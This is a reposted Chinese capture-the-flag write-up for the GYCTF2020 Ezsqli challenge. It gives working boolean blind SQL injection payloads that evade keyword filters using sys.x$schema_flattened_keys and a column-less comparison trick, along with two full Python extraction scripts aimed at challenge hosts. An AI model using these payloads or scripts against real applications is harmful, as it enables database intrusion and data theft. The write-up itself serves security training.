[GYCTF2020]Ezsqli
输个1'
返回这个,继续测试
1&&1=1
1&&1=2
成功
1&&if(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>79,1,0)
不成功
1&&if(ascii(substr((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),1,1))>79,1,0)
不成功,估计就是把information过滤了
id=1%26%26length(database())%3D21
测出来database21位
id=1%26%26ascii(substr((database())%2C1%2C1))%3D103
测出来第一位为g
写脚本
我写脚本的时候有两个问题就是
payload不要写成1%26%26length(database())%3D21
这种url编码的,python发包是起不到这样的作用的,必须写成原来的字符
不能这么写data,我之前写
是可以的,但是现在不行
最后我发现原来我少了个f,服了浪费这么多时间
sys.x$schema_flattened_keys
information
被过滤,mysql.innodb
也无法使用,只能用这个新搜到的
写法和这两个是一样的直接写就行
然后的话就是无列名注入了,但是也可以大胆猜,像这种直接猜flag是列名
import requests
url = "http://04768892-271e-4031-acb8-79e37ece9697.node5.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i += 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f"1&&(ascii(substr((database()),{i},1))>{mid})"
# payload = f"1&&(ascii(substr((select(group_concat(table_name))from(sys.x$schema_flattened_keys)where(table_schema=database())),{i},1))>{mid})"
# f1ag_1s_h3r3_hhhhh, users233333333333333
payload = f"1&&(ascii(substr((select(group_concat(flag))from(f1ag_1s_h3r3_hhhhh)),{i},1))>{mid})"
data = {
'id': {payload}
}
r = requests.post(url=url, data=data)
if "Nu1L" in r.text:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)
但是union都被过滤了,我们这说一个新姿势
ascii偏移无列名注入
((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh))
两边查询的列数要相同,不然报错
那我们怎么查出字符呢,本地一下
如果第三列的第一个字符是d那么就会返回1否则返回0
那么已知为E什么时候会返回1呢
select (select 1,2,‘E’)>(select * from users limit 0,1);
确定第二列的首字母为f
测出第二字字母为l
然后我发现用字符写脚本的时候不能正确的给调回来,就是全是大写字母,于是用ascii但是这样子之后也不行,我们的比较注入就不能生效了
于是转个小写一样的
import time
import requests
url = "http://182e84dc-334e-4149-b9c4-dde094cd3127.node5.buuoj.cn:81/"
flag = ""
i = 0
while True:
i += 1
low = 32
high = 127
while low < high:
s = flag # 动态更新flag,一个一个摸索值
mid = (low + high) // 2
s += chr(mid)
payload = f"1&&((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"
# payload = f"1^((select 1,'{s}')<(select * from f1ag_1s_h3r3_hhhhh))^1"
# payload = f"0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"
# print(payload)
data = {
'id': {payload}
}
time.sleep(0.015)
r = requests.post(url=url, data=data)
if "Nu1L" in r.text:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low - 1) # 实际字符减1才是我们需要的字符
elif chr(low-1)=='~':
break
print("\r" + flag.lower(), end='') # 动态输出flag在同一行
print() # 打印一个换行,使得下一行内容不再覆盖在flag上面
原文地址:https://blog.csdn.net/2301_81040377/article/details/140421640
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!